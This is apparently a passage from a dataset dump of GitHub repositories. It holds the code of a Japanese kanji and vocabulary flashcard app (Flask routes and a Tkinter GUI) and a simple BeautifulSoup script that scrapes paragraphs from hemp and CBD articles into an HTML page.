kanji_list\\n\\n\\n@app.route('/new_card')\\n@app.route('/new_card/<int:index>')\\n@app.route('/new_card/<int:index>/<dict_name>')\\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>')\\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>')\\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>/<int:show_all>')\\ndef new_card(index=None, dict_name=None, remember=True, kanji=None, show_all=False):\\n success, h = _get_session_history()\\n if not success:\\n return h\\n\\n if dict_name is None:\\n dict_name = h.default_dict_name\\n\\n if kanji is not None:\\n h.current_kanji = kanji\\n\\n while index is None:\\n index = h.random_sample()\\n if h.dicts[h.default_dict_name][index]['lesson'] > 150000:\\n index = None\\n\\n if remember:\\n h.add_to_history((index, dict_name))\\n\\n data = h.dicts[dict_name][index]\\n\\n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\\n ref = ref_string(data)\\n related = []\\n if data['related words']:\\n words = sep_string(data['related words'])\\n for i, w in enumerate(words):\\n w = w.strip()\\n for k in h.words.keys():\\n if w in h.words[k]:\\n related.append(dict(value=w, has_link=True,\\n link=url_for('new_card', index=h.words[k].index(w),\\n dict_name=k, remember=True)))\\n break\\n else:\\n related.append(dict(value=w, has_link=False, link=None))\\n\\n\\n word = _make_kanji_list(h, data['word'])\\n\\n example = ''\\n if 'example' in data and data['example']:\\n example = data['example']\\n\\n main_dict = dict(meaning=data['meaning'],\\n kana=kana, romaji=romaji,\\n ref=ref_string(data),\\n related=related,\\n word=word,\\n example=example,\\n show_all=show_all)\\n\\n if h.current_kanji is None:\\n kanjidict = {}\\n else:\\n kanji_data = h.kanji_data[h.current_kanji]\\n related_kanji = _make_kanji_list(h, sep_string(kanji_data['related kanji']))\\n\\n kanjidict = dict(kanji=kanji_data['kanji'],\\n kanjikun=kanji_data['kun'],\\n kanjion=kanji_data['on'],\\n kanjirelated=related_kanji,\\n kanjimeaning=kanji_data['meaning'],\\n kanjimnemo=kanji_data['explanation']\\n )\\n\\n main_dict.update(kanjidict)\\n main_dict.update(h.hist_button_status())\\n\\n return render_template('card.html', **main_dict)\\n\\n\\n@app.route('/prev_card')\\ndef prev_card():\\n success, h = _get_session_history()\\n if not success:\\n return h\\n h.hist_index -= 1\\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\\n dict_name=h.history[h.hist_index - 1][1], remember=False,\\n kanji=h.current_kanji))\\n\\n\\n@app.route('/next_card')\\ndef next_card():\\n success, h = _get_session_history()\\n if not success:\\n return h\\n h.hist_index += 1\\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\\n dict_name=h.history[h.hist_index - 1][1], remember=False,\\n kanji=h.current_kanji))\\n\\n\\n@app.route('/no_session')\\ndef no_session():\\n return (\\\"Session expired!\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.5329182147979736,\n \"alphanum_fraction\": 0.544692873954773,\n \"avg_line_length\": 36.425846099853516,\n \"blob_id\": \"5e30afd2399456a064c3caae5ced735c795c976b\",\n \"content_id\": \"e18bd6302971a19b8e67a4dca4e22a2c1fa043aa\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 17675,\n \"license_type\": \"no_license\",\n \"max_line_length\": 125,\n \"num_lines\": 472,\n \"path\": \"/sotana.py\",\n \"repo_name\": \"bibarz/sotana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport Tkinter as Tk\\nimport tkFont\\nimport sys\\nimport numpy as np\\nimport webbrowser\\nimport urllib\\nimport xlrd\\nimport xml.etree.cElementTree as etree\\nimport re\\nimport subprocess\\nimport StringIO\\n\\n\\ndef cabocha_xml(sent):\\n \\\"\\\"\\\"\\n @return type = unicode\\n -xml format unicode string is returned \\n \\\"\\\"\\\"\\n command = 'cabocha -f 3'\\n p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\\n output, _ = p.communicate(sent)\\n return unicode(output, 'utf8')\\n\\n\\nclass ChartParser(object):\\n def __init__(self, chartFile):\\n with open('katakanaChart.txt') as f:\\n self.chart = f.readlines()\\n\\n def chartParse(self):\\n \\\"\\\"\\\"\\n @return chartDict\\n ガ ==> g,a\\n キ ==> k,i\\n キャ ==> k,ya\\n Similarily for Hiragana\\n @setrofim : http://www.python-forum.org/pythonforum/viewtopic.php?f=3&t=31935\\n \\\"\\\"\\\"\\n lines = self.chart\\n chartDict = {}\\n output = {}\\n col_headings = lines.pop(0).split()\\n for line in lines:\\n cells = line.split()\\n for i, c in enumerate(cells[1:]):\\n output[c] = (cells[0], col_headings[i])\\n for k in sorted(output.keys()):\\n #@k = katakana\\n #@r = first romaji in row\\n #@c = concatinating romaji in column\\n r, c = output[k]\\n k, r, c = [unicode(item,'utf-8') for item in [k,r,c]]\\n if k == 'X':continue\\n if r=='s' and c[0] == 'y':\\n c = 'h' + c[1:]\\n if r=='s' and c == 'i':\\n c = 'hi'\\n if r=='j' and c[0] == 'y':\\n c = c[1:]\\n if r=='t' and c[0] == 'y':\\n r = 'c'\\n c = 'h' + c[1:]\\n romaji = ''.join([item.replace('X', '') for item in [r,c]])\\n chartDict[k] = romaji\\n return chartDict\\n\\n\\ndef tokenizedRomaji(jSent):\\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\\n tokenizeRomaji = []\\n def check_duplicate(s, duplicate):\\n if not duplicate:\\n return s\\n else:\\n return s[0] + s\\n\\n duplicate = False\\n for kataChunk in jReads(jSent):\\n romaji = ''\\n for idx, kata in enumerate(kataChunk,1):\\n if idx != len(kataChunk):\\n doubles = kata+kataChunk[idx]\\n if kataDict.has_key(doubles):\\n romaji += check_duplicate(kataDict[doubles], duplicate)\\n duplicate = False\\n continue\\n if kataDict.has_key(kata):\\n next_romaji = kataDict[kata]\\n if next_romaji == 'hu':\\n next_romaji = 'fu'\\n romaji += check_duplicate(kataDict[kata], duplicate)\\n duplicate = False\\n elif ord(kata) == 12483: # 12483 = unicode for ッ \\n duplicate = True\\n else:\\n duplicate = False\\n pass\\n #checkPunctuation(kata)\\n tokenizeRomaji.append(romaji)\\n return tokenizeRomaji\\n\\n\\ndef jReads(target_sent):\\n sentence = etree.fromstring(cabocha_xml(target_sent.encode('utf-8')).encode('utf-8'))\\n return [tok.get(\\\"feature\\\").split(',')[-1] for chunk in sentence for tok in chunk.findall('tok')]\\n\\n\\ndef sep_string(s):\\n return [x for x in s.replace(unicode(u'\\\\u3001'), ',').replace(unicode(u'\\\\uff0c'),',').split(',') if x] \\n\\n\\ndef read_words_and_kanji(filename):\\n dicts = {}\\n for sheet in ['EK1', 'EK2', 'EK2Old', 'JBP3', 'mimi']:\\n workbook = xlrd.open_workbook(filename)\\n worksheet = workbook.sheet_by_name(sheet)\\n num_cells = worksheet.ncols\\n fields = ['word', 'meaning', 'kanji', 'page', 'lesson', 'related words', 'example']\\n #assert num_cells >= len(fields)\\n dict_words = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\\n dicts[sheet] = dict_words\\n\\n worksheet = workbook.sheet_by_name('Kanji')\\n num_cells = worksheet.ncols\\n fields = ['kanji', 'kun', 'on', 'related kanji', 'meaning', 'explanation']\\n assert num_cells >= len(fields)\\n dict_kanji = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\\n\\n return dicts, dict_kanji\\n\\n\\ndef to_str(x):\\n if isinstance(x, (float, int)):\\n return ('%i' % x)\\n else:\\n return x\\n\\n\\ndef ref_string(data): \\n k = to_str(data['kanji'])\\n p = to_str(data['page'])\\n l = to_str(data['lesson'])\\n return \\\"k %s, p %s, l %s\\\" % (k, p, l)\\n\\n\\ndef browse_kanji(c):\\n url = \\\"http://www.romajidesu.com/kanji/\\\"\\n controller = webbrowser.get('firefox')\\n controller.open(url + urllib.quote(c.encode('utf-8')))\\n\\n\\nclass Card(object):\\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\\n def __init__(self, n_frames, app, frame, **params):\\n self.app = app\\n self.card_frame = frame\\n self.frames = [Tk.Frame(frame, **params) for _ in range(n_frames)]\\n self.blinders = [Tk.Frame(frame, **params) for _ in self.frames]\\n for i, b in enumerate(self.blinders):\\n b.bind(\\\"<Button-1>\\\", lambda event, i=i: self.turn(i))\\n \\n for i, (f, b) in enumerate(zip(self.frames, self.blinders)):\\n b.grid(row=i)\\n f.grid(in_=b)\\n\\n self.visible = [False for _ in self.frames]\\n\\n def turn(self, i):\\n if self.visible[i]:\\n self.frames[i].lower(self.blinders[i])\\n else:\\n self.frames[i].lift(self.blinders[i])\\n self.visible[i] = not self.visible[i]\\n\\n def reveal_more(self):\\n for i, v in enumerate(self.visible):\\n if not v:\\n self.turn(i)\\n return\\n # All is revealed; hide last\\n self.turn(-1)\\n\\n\\nclass WordCard(Card):\\n def __init__(self, data, *args, **kwargs):\\n Card.__init__(self, 3, *args, **kwargs)\\n\\n format = {'fg': 'white',\\n 'bg': 'black'}\\n\\n l = Tk.Label(self.frames[0], text=data['meaning'], font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event: self.turn(0))\\n l.grid(row=0)\\n \\n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\\n for col, c in enumerate(data['word']):\\n l = Tk.Label(self.frames[2], text=c, font=(\\\"Lucida Grande\\\", 60), **format)\\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.app.show_kanji(c))\\n else:\\n l.bind(\\\"<Button-1>\\\", lambda event: self.turn(2))\\n l.grid(row=0, column=col)\\n\\n l = Tk.Label(self.frames[1], text=kana, font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event: self.turn(1))\\n l.grid(row=0)\\n l = Tk.Label(self.frames[1], text=romaji, font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event: self.turn(1))\\n l.grid(row=1)\\n l = Tk.Label(self.frames[1], text=ref_string(data), font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event: self.turn(1))\\n l.grid(row=2)\\n\\n if data['related words']:\\n related_frame = Tk.Frame(self.frames[1], bg='black')\\n words = sep_string(data['related words'])\\n for i, w in enumerate(words):\\n w = w.strip()\\n for k in self.app.words.keys():\\n if w in self.app.words[k]:\\n elem = Tk.Button(related_frame, text=w, font=(\\\"Lucida\\\", 20),\\n command=lambda i=(self.app.words[k].index(w), k): self.app.show_next(i),\\n **format)\\n break\\n else:\\n elem = Tk.Label(related_frame, text=w, font=(\\\"Lucida\\\", 20), **format)\\n elem.grid(row=0, column=i)\\n related_frame.grid(row=3)\\n\\n if 'example' in data and data['example']:\\n example_frame = Tk.Frame(self.frames[2], bg='black')\\n l = Tk.Text(example_frame, font=(\\\"Lucida Grande\\\", 14), width=30,\\n height=len(data['example'])/30 + 1, **format)\\n l.insert('1.0', data['example'])\\n l.grid(row=0)\\n example_frame.grid(row=1, columnspan=len(data['word']))\\n\\n\\nclass KanjiCard(Card):\\n def __init__(self, data, *args, **kwargs):\\n Card.__init__(self, 6, *args, **kwargs)\\n\\n format = {'fg': 'white',\\n 'bg': 'black'}\\n\\n l = Tk.Label(self.frames[0], text=data['kanji'], font=(\\\"Lucida Grande\\\", 60), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event: browse_kanji(data['kanji']))\\n l.grid(row=0)\\n \\n for col, c in enumerate(sep_string(data['kun'])):\\n l = Tk.Label(self.frames[1], text=c, font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.app.kanjis_with_kun(c))\\n l.grid(row=0, column=col)\\n for col, c in enumerate(sep_string(data['on'])):\\n l = Tk.Label(self.frames[2], text=c, font=(\\\"Lucida Grande\\\", 20), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.app.kanjis_with_on(c))\\n l.grid(row=0, column=col)\\n for col, c in enumerate(sep_string(data['related kanji'])):\\n l = Tk.Label(self.frames[3], text=c, font=(\\\"Lucida Grande\\\", 40), **format)\\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.app.show_kanji(c))\\n l.grid(row=0, column=col)\\n\\n l = Tk.Text(self.frames[4], font=(\\\"Lucida Grande\\\", 28), width=len(data['meaning']), height=1, **format)\\n l.insert('1.0', data['meaning'])\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.app.words_from_kanji(data['kanji']))\\n l.grid(row=0)\\n l = Tk.Text(self.frames[5], font=(\\\"Lucida Grande\\\", 14), width=30, height=len(data['explanation']) / 30 + 1, **format)\\n l.insert('1.0', data['explanation'])\\n l.grid(row=0)\\n\\n for i in range(1, 6):\\n self.turn(i)\\n\\n\\nclass App(Tk.Frame):\\n def __init__(self, dict_data, kanji_data, default_dict_name, master=None, **params):\\n Tk.Frame.__init__(self, master, **params)\\n self.grid(sticky=Tk.N + Tk.S + Tk.E + Tk.W) # make it resizable\\n self.dict_data = dict_data\\n self.default_dict_name = default_dict_name\\n self.kanji_data = kanji_data\\n self.words = {k: [d['word'] for d in dict_data[k]] for k in dict_data.keys()}\\n self.kanji = [d['kanji'] for d in kanji_data]\\n self.history = []\\n self.hist_index = 0\\n self.probs = np.ones(len(self.dict_data[self.default_dict_name])) / len(self.dict_data[self.default_dict_name])\\n \\n btn = Tk.Button(self, text='New', command=self.show_next)\\n btn.grid(row=0, column=0)\\n self.prev_btn = Tk.Button(self, text='Prev', command=self.history_back)\\n self.prev_btn.grid(row=0, column=1)\\n self.next_btn = Tk.Button(self, text='Next', command=self.history_forward)\\n self.next_btn.grid(row=0, column=2)\\n self.idx_label = Tk.Label(self, text='', font=(\\\"Lucida Grande\\\", 14), fg='white', bg='black')\\n self.idx_label.grid(row=0, column=3)\\n self.card_frame = Tk.Frame(self, **params)\\n self.card_frame.grid(row=1, columnspan=4)\\n self.kanji_frame = None\\n self.kanji_list_frame = None\\n self.word_list_frame = None\\n self.bind_all(\\\"<Right>\\\", self.next_or_forward)\\n self.bind_all(\\\"<Left>\\\", self.nothing_or_backward)\\n self.bind_all(\\\"<space>\\\", self.reveal_more)\\n \\n self.show_next()\\n self.grid()\\n \\n def reveal_more(self, event):\\n self.last_word_card.reveal_more()\\n\\n def next_or_forward(self, event):\\n if self.next_btn['state'] == 'disabled':\\n self.show_next()\\n else:\\n self.history_forward()\\n\\n def nothing_or_backward(self, event):\\n if self.prev_btn['state'] == 'disabled':\\n return\\n else:\\n self.history_back()\\n\\n def add_to_history(self, i):\\n self.history = self.history[:self.hist_index] + [i]\\n self.hist_index += 1\\n self._update_hist_button_status()\\n\\n def history_back(self):\\n self.hist_index -= 1\\n self.show_next(i=self.history[self.hist_index-1], remember=False)\\n self._update_hist_button_status()\\n\\n def history_forward(self):\\n self.show_next(i=self.history[self.hist_index], remember=False)\\n self.hist_index += 1\\n self._update_hist_button_status()\\n\\n def _update_hist_button_status(self):\\n self.prev_btn['state'] = 'disabled' if self.hist_index == 1 else 'normal'\\n self.next_btn['state'] = 'disabled' if self.hist_index >= len(self.history) else 'normal'\\n self.idx_label['text'] = str(\\\"%i/%i\\\" % (self.hist_index, len(self.history)))\\n\\n def random_sample(self):\\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\\n self.probs[i] *= 0.2\\n self.probs /= np.sum(self.probs)\\n return i\\n\\n def show_next(self, i=None, remember=True):\\n # i can be:\\n # None, meaning take a random card from default deck\\n # an integer: index in default deck\\n # a tuple (index, dict_name)\\n while i is None:\\n i = self.random_sample()\\n if self.dict_data[self.default_dict_name][i]['lesson'] > 150000:\\n i = None\\n if remember:\\n self.add_to_history(i)\\n for w in self.card_frame.winfo_children():\\n if isinstance(w, Tk.Frame):\\n w.destroy()\\n idx, key = (i, self.default_dict_name) if isinstance(i, (float, int)) else i\\n self.last_word_card = WordCard(self.dict_data[key][idx], self, self.card_frame, bg='black')\\n self.last_word_card.turn(0)\\n\\n def show_kanji(self, c):\\n if c not in self.kanji:\\n browse_kanji(c)\\n return\\n\\n i = self.kanji.index(c)\\n\\n if self.kanji_frame is None:\\n self.kanji_frame = Tk.Toplevel(self, bg='black')\\n self.kanji_frame.geometry('+400+0')\\n self.kanji_frame.protocol(\\\"WM_DELETE_WINDOW\\\", self.kanji_frame_closed)\\n\\n for w in self.kanji_frame.winfo_children():\\n if isinstance(w, Tk.Frame):\\n w.destroy()\\n\\n self.last_kanji_card = KanjiCard(self.kanji_data[i], self, self.kanji_frame, bg='black')\\n self.last_kanji_card.turn(0)\\n \\n def kanji_frame_closed(self):\\n self.kanji_frame.destroy()\\n self.kanji_frame = None\\n\\n def show_kanji_list(self, kanji_list, **format):\\n if self.kanji_list_frame is None:\\n self.kanji_list_frame = Tk.Toplevel(self, bg='black')\\n self.kanji_list_frame.geometry('+100+400')\\n self.kanji_list_frame.protocol(\\\"WM_DELETE_WINDOW\\\", self.kanji_list_frame_closed)\\n\\n for w in self.kanji_list_frame.winfo_children():\\n if isinstance(w, Tk.Widget):\\n w.destroy()\\n\\n format = {'fg': 'white',\\n 'bg': 'black'}\\n\\n for i, c in enumerate(kanji_list):\\n l = Tk.Label(self.kanji_list_frame, text=c, font=(\\\"Lucida Grande\\\", 60), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event, c=c: self.show_kanji(c))\\n l.grid(row=0, column=i)\\n\\n def kanji_list_frame_closed(self):\\n self.kanji_list_frame.destroy()\\n self.kanji_list_frame = None\\n\\n def kanjis_with_kun(self, c):\\n k_list = []\\n for d in self.kanji_data:\\n kuns = sep_string(d['kun'])\\n if c in kuns:\\n k_list.append(d['kanji'])\\n self.show_kanji_list(k_list)\\n \\n def kanjis_with_on(self, c):\\n k_list = []\\n for d in self.kanji_data:\\n ons = sep_string(d['on'])\\n if c in ons:\\n k_list.append(d['kanji'])\\n self.show_kanji_list(k_list)\\n\\n def show_word_list(self, word_index_list, **format):\\n if self.word_list_frame is None:\\n self.word_list_frame = Tk.Toplevel(self, bg='black')\\n self.word_list_frame.geometry('+100+400')\\n self.word_list_frame.protocol(\\\"WM_DELETE_WINDOW\\\", self.word_list_frame_closed)\\n\\n for w in self.word_list_frame.winfo_children():\\n if isinstance(w, Tk.Widget):\\n w.destroy()\\n\\n format = {'fg': 'white',\\n 'bg': 'black'}\\n\\n for i, index in enumerate(word_index_list):\\n idx, key = (index, self.default_dict_name) if isinstance(index, (float, int)) else index\\n l = Tk.Label(self.word_list_frame, text=self.dict_data[key][idx]['word'], font=(\\\"Lucida Grande\\\", 40), **format)\\n l.bind(\\\"<Button-1>\\\", lambda event, index=index: self.show_next(index))\\n l.grid(row=0, column=i)\\n\\n def word_list_frame_closed(self):\\n self.word_list_frame.destroy()\\n self.word_list_frame = None\\n\\n def words_from_kanji(self, c):\\n word_index_list = []\\n for key in self.dict_data.keys():\\n for i, d in enumerate(self.dict_data[key]):\\n if c in d['word']:\\n word_index_list.append((i, key))\\n self.show_word_list(word_index_list)\\n \\n\\n\\nif __name__=='__main__':\\n# url = \\\"http://docs.python.org/library/webbrowser.html\\\"\\n# webbrowser.open(url,new=2)\\n import os\\n os.environ['PATH'] += ':/usr/local/bin'\\n dicts, kanji = read_words_and_kanji('japdic.xlsx')\\n a = App(dicts, kanji, default_dict_name='mimi', bg=\\\"black\\\")\\n a.master.title('Kanji')\\n a.mainloop()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984093,"cells":{"repo_name":{"kind":"string","value":"tiffhens/webscraping_henschel"},"repo_url":{"kind":"string","value":"https://github.com/tiffhens/webscraping_henschel"},"snapshot_id":{"kind":"string","value":"7996c3e4a19c8e8a8aea178463d51f24f1168bb4"},"revision_id":{"kind":"string","value":"632aba96ed9f4bd2c89b1c04edf4880cce6e81e5"},"directory_id":{"kind":"string","value":"84d97e0eb711e45e99c7e7bb52e909391ebe02d1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T04:26:59.550832","string":"2021-01-01T04:26:59.550832"},"revision_date":{"kind":"timestamp","value":"2016-04-15T22:48:17","string":"2016-04-15T22:48:17"},"committer_date":{"kind":"timestamp","value":"2016-04-15T22:48:17","string":"2016-04-15T22:48:17"},"github_id":{"kind":"number","value":56353400,"string":"56,353,400"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.8260869383811951,"alphanum_fraction":0.8260869383811951,"avg_line_length":22,"blob_id":"f69bf08436fa516736482e0f88f9638921963ca6","content_id":"57369e3bc229fc52741accb654998138598c478e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":23,"license_type":"no_license","max_line_length":22,"num_lines":1,"path":"/README.md","repo_name":"tiffhens/webscraping_henschel","src_encoding":"UTF-8","text":"# webscraping-henschel\n"},{"alpha_fraction":0.7291737198829651,"alphanum_fraction":0.753119707107544,"avg_line_length":35.17073059082031,"blob_id":"ced77263d880ad15565157eb8c693d5a56f9219f","content_id":"a13ed741d1d0d1e025cb8086d4be499378d99766","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2965,"license_type":"no_license","max_line_length":170,"num_lines":82,"path":"/leafly.py","repo_name":"tiffhens/webscraping_henschel","src_encoding":"UTF-8","text":"from bs4 import BeautifulSoup\nimport requests\nimport random\n\n# Open and read the template file\nfo = open(\"template_scrape.html\", \"r\")\nhtml_template = fo.read();\nfo.close()\n\n# get the webpage\nr=requests.get(\"http://www.collective-evolution.com/2012/12/05/how-hemp-became-illegal-the-marijuana-link/\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\nhistory_section = soup.find(\"div\", class_=\"post-single-body clearfix margin-t20\")\nhistory_paragraph = history_section.find_all(\"p\")\n\nhistory_words1 = history_paragraph[11].get_text()\nhistory_words2 = history_paragraph[12].get_text()\nhistory_words3 = history_paragraph[13].get_text()\n\nhistory_output1 = BeautifulSoup(history_words1).prettify (formatter='html')\nhistory_output2 = BeautifulSoup(history_words2).prettify (formatter='html')\nhistory_output3 = BeautifulSoup(history_words3).prettify (formatter='html')\n\nprint(history_output1, history_output2, history_output3)\n\n\t\n# history_output = BeautifulSoup(history_words).prettify (formatter='html')\n\nr=requests.get(\"https://www.leafly.com/news/headlines/hemp-vs-cotton-3-reasons-why-cotton-is-not-king\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\n# narrow down to the div on the page that contains our content\nleafly_section = soup.find(\"div\", class_=\"news__article-body\")\nleafly_paragraph = leafly_section.find_all(\"p\")\n\nleafly_words1 = leafly_paragraph[5].get_text()\nleafly_words2 = leafly_paragraph[10].get_text()\nleafly_words3 = leafly_paragraph[11].get_text()\n\nleafly_output1 = BeautifulSoup(leafly_words1).prettify (formatter='html')\nleafly_output2 = BeautifulSoup(leafly_words2).prettify (formatter='html')\nleafly_output3 = BeautifulSoup(leafly_words3).prettify (formatter='html')\n\nr=requests.get(\"https://www.leafly.com/news/cannabis-101/whats-the-deal-with-these-high-cbd-strains\")\n\n# get the HTML source from that page\nhtml_doc = r.text\n\n# turn the source into a bs4 \"soup\" object\nsoup = BeautifulSoup(html_doc,\"html.parser\")\n\n# narrow down to the div on the page that contains our content\ncbd_section = soup.find(\"div\", class_=\"news__article-body\")\ncbd_paragraph = cbd_section.find_all(\"p\")\n\ncbd_words1 = cbd_paragraph[2].get_text()\ncbd_words2 = cbd_paragraph[4].get_text()\ncbd_words3 = cbd_paragraph[5].get_text()\n\ncbd_output1 = BeautifulSoup(cbd_words1).prettify (formatter='html')\ncbd_output2 = BeautifulSoup(cbd_words2).prettify (formatter='html')\ncbd_output3 = BeautifulSoup(cbd_words3).prettify (formatter='html')\n\n\n# create the complete HTML page to display in a certain order.\nhtml_file = html_template.format(history_output1, history_output2, history_output3, leafly_output1, leafly_output2, leafly_output3, cbd_output1, cbd_output2, cbd_output3)\n\n# write out the html file\nfo = open(\"sentence_scrape.html\", \"w\")\nfo.write( html_file );\nfo.close()"}],"string":"[\n {\n \"alpha_fraction\": 0.8260869383811951,\n \"alphanum_fraction\": 0.8260869383811951,\n \"avg_line_length\": 22,\n \"blob_id\": \"f69bf08436fa516736482e0f88f9638921963ca6\",\n \"content_id\": \"57369e3bc229fc52741accb654998138598c478e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 23,\n \"license_type\": \"no_license\",\n \"max_line_length\": 22,\n \"num_lines\": 1,\n \"path\": \"/README.md\",\n \"repo_name\": \"tiffhens/webscraping_henschel\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# webscraping-henschel\\n\"\n },\n {\n \"alpha_fraction\": 0.7291737198829651,\n \"alphanum_fraction\": 0.753119707107544,\n \"avg_line_length\": 35.17073059082031,\n \"blob_id\": \"ced77263d880ad15565157eb8c693d5a56f9219f\",\n \"content_id\": \"a13ed741d1d0d1e025cb8086d4be499378d99766\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2965,\n \"license_type\": \"no_license\",\n \"max_line_length\": 170,\n \"num_lines\": 82,\n \"path\": \"/leafly.py\",\n \"repo_name\": \"tiffhens/webscraping_henschel\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from bs4 import BeautifulSoup\\nimport requests\\nimport random\\n\\n# Open and read the template file\\nfo = open(\\\"template_scrape.html\\\", \\\"r\\\")\\nhtml_template = fo.read();\\nfo.close()\\n\\n# get the webpage\\nr=requests.get(\\\"http://www.collective-evolution.com/2012/12/05/how-hemp-became-illegal-the-marijuana-link/\\\")\\n\\n# get the HTML source from that page\\nhtml_doc = r.text\\n\\n# turn the source into a bs4 \\\"soup\\\" object\\nsoup = BeautifulSoup(html_doc,\\\"html.parser\\\")\\n\\nhistory_section = soup.find(\\\"div\\\", class_=\\\"post-single-body clearfix margin-t20\\\")\\nhistory_paragraph = history_section.find_all(\\\"p\\\")\\n\\nhistory_words1 = history_paragraph[11].get_text()\\nhistory_words2 = history_paragraph[12].get_text()\\nhistory_words3 = history_paragraph[13].get_text()\\n\\nhistory_output1 = BeautifulSoup(history_words1).prettify (formatter='html')\\nhistory_output2 = BeautifulSoup(history_words2).prettify (formatter='html')\\nhistory_output3 = BeautifulSoup(history_words3).prettify (formatter='html')\\n\\nprint(history_output1, history_output2, history_output3)\\n\\n\\t\\n# history_output = BeautifulSoup(history_words).prettify (formatter='html')\\n\\nr=requests.get(\\\"https://www.leafly.com/news/headlines/hemp-vs-cotton-3-reasons-why-cotton-is-not-king\\\")\\n\\n# get the HTML source from that page\\nhtml_doc = r.text\\n\\n# turn the source into a bs4 \\\"soup\\\" object\\nsoup = BeautifulSoup(html_doc,\\\"html.parser\\\")\\n\\n# narrow down to the div on the page that contains our content\\nleafly_section = soup.find(\\\"div\\\", class_=\\\"news__article-body\\\")\\nleafly_paragraph = leafly_section.find_all(\\\"p\\\")\\n\\nleafly_words1 = leafly_paragraph[5].get_text()\\nleafly_words2 = leafly_paragraph[10].get_text()\\nleafly_words3 = leafly_paragraph[11].get_text()\\n\\nleafly_output1 = BeautifulSoup(leafly_words1).prettify (formatter='html')\\nleafly_output2 = BeautifulSoup(leafly_words2).prettify (formatter='html')\\nleafly_output3 = BeautifulSoup(leafly_words3).prettify (formatter='html')\\n\\nr=requests.get(\\\"https://www.leafly.com/news/cannabis-101/whats-the-deal-with-these-high-cbd-strains\\\")\\n\\n# get the HTML source from that page\\nhtml_doc = r.text\\n\\n# turn the source into a bs4 \\\"soup\\\" object\\nsoup = BeautifulSoup(html_doc,\\\"html.parser\\\")\\n\\n# narrow down to the div on the page that contains our content\\ncbd_section = soup.find(\\\"div\\\", class_=\\\"news__article-body\\\")\\ncbd_paragraph = cbd_section.find_all(\\\"p\\\")\\n\\ncbd_words1 = cbd_paragraph[2].get_text()\\ncbd_words2 = cbd_paragraph[4].get_text()\\ncbd_words3 = cbd_paragraph[5].get_text()\\n\\ncbd_output1 = BeautifulSoup(cbd_words1).prettify (formatter='html')\\ncbd_output2 = BeautifulSoup(cbd_words2).prettify (formatter='html')\\ncbd_output3 = BeautifulSoup(cbd_words3).prettify (formatter='html')\\n\\n\\n# create the complete HTML page to display in a certain order.\\nhtml_file = html_template.format(history_output1, history_output2, history_output3, leafly_output1, leafly_output2, leafly_output3, cbd_output1, cbd_output2, cbd_output3)\\n\\n# write out the html file\\nfo = open(\\\"sentence_scrape.html\\\", \\\"w\\\")\\nfo.write( html_file );\\nfo.close()\"\n 